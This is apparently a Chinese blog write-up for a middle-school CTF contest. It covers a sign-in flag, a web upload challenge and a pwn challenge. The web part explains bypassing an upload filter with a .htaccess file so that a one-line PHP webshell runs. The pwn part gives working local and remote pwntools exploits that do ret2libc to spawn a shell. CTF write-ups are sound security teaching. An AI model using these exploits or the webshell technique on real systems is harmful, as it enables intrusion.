全国中学生网络安全技术大赛-Writeup

MISC

签到题

打开题目得到flag

Welcome
121
Welcome to msscstc!

This is your flag: flag{4f403810354870e07cb00b549cf577c9}

good luck && have fun!

WEB

baby upload

ida1
测试了没被禁用的上传点 发现上传没有任何反应 发现第三个禁用了 所以通过审查元素更改
ida1
根据hint提示 了解到 .htaccesss

上传当前目录的.htaccess 文件

例如内容为: AddType application/x-http-php .jpg (上传的jpg 均以php执行)

把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件

所以构造上传
ida1

ida1
这里修改为.htaccess 放行
ida1

成功覆盖
接着上传jpg的小马 或者一句话
尝试传小马貌似有问题 这里改用post
ida1

ida1
尝试一句话
ida1
尝试上传
ida1
成功解析
ida1

执行find 找到flag目录
ida1
cat 得到flag
ida1

PWN

ez_pwn

这里感谢一波出题人 放出了libc
载入ida分析

char *sub_804857B()
{
  char s; // [esp+0h] [ebp-28h]

  fflush(stdin);
  fflush(stdout);
  puts("How many?");
  return gets(&s); //存在漏洞
}

之前利用思路 a*buffer+jmp esp+shellcode

But..

ida1
NX开启 RELRO开启
所以 直接写shellcode就没办法了

通过leak puts_addr 找到 system binsh 的真实地址

Leak通过 sub_804857B() 构造循环
ida1

本地EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level='debug'

p=process('./pwn1')
#p = remote('45.40.195.20',23333)
libc=ELF('/lib/i386-linux-gnu/libc.so.6') //本地libc
elf=ELF('./pwn1')
p.recv()
p.sendline('1')
p.recv()
//leak puts_addr
puts_plt=elf.symbols['puts']
puts_got=elf.got['puts']
payload='a'*44+p32(puts_plt)+p32(0x0804857b)+p32(puts_got)

p.sendline(payload)
puts=u32(p.recv(4))
log.info('puts addr = '+hex(puts)) 
puts_libc=libc.symbols['puts']
system=libc.symbols['system']
binsh=next(libc.search('/bin/sh'))
system=system-puts_libc+puts
binsh=binsh-puts_libc+puts
payload2='a'*44+p32(system)+p32(1)+p32(binsh)
p.sendline(payload2)
p.interactive()

由于之前提供错了libc 自己远程recv也写错了2333
北邮面试完回来修改得到
远程EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level='debug'

#p=process('./pwn1')
p = remote('45.40.195.20',23333)
libc=ELF('libc6-i386_2.23-0ubuntu10_amd64.so')
elf=ELF('./pwn1')
p.recv()
p.sendline('1')
p.recv()
puts_plt=elf.symbols['puts']
puts_got=elf.got['puts']
payload='a'*44+p32(puts_plt)+p32(0x0804857b)+p32(puts_got)

p.sendline(payload)
p.recvuntil('\n')  //多加了这里
puts=u32(p.recv(4))
log.info('puts addr = '+hex(puts))
puts_libc=libc.symbols['puts']
system=libc.symbols['system']
binsh=next(libc.search('/bin/sh'))
system=system-puts_libc+puts
binsh=binsh-puts_libc+puts
payload2='a'*44+p32(system)+p32(1)+p32(binsh)
p.sendline(payload2)
p.interactive()

得到flag
ida1

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!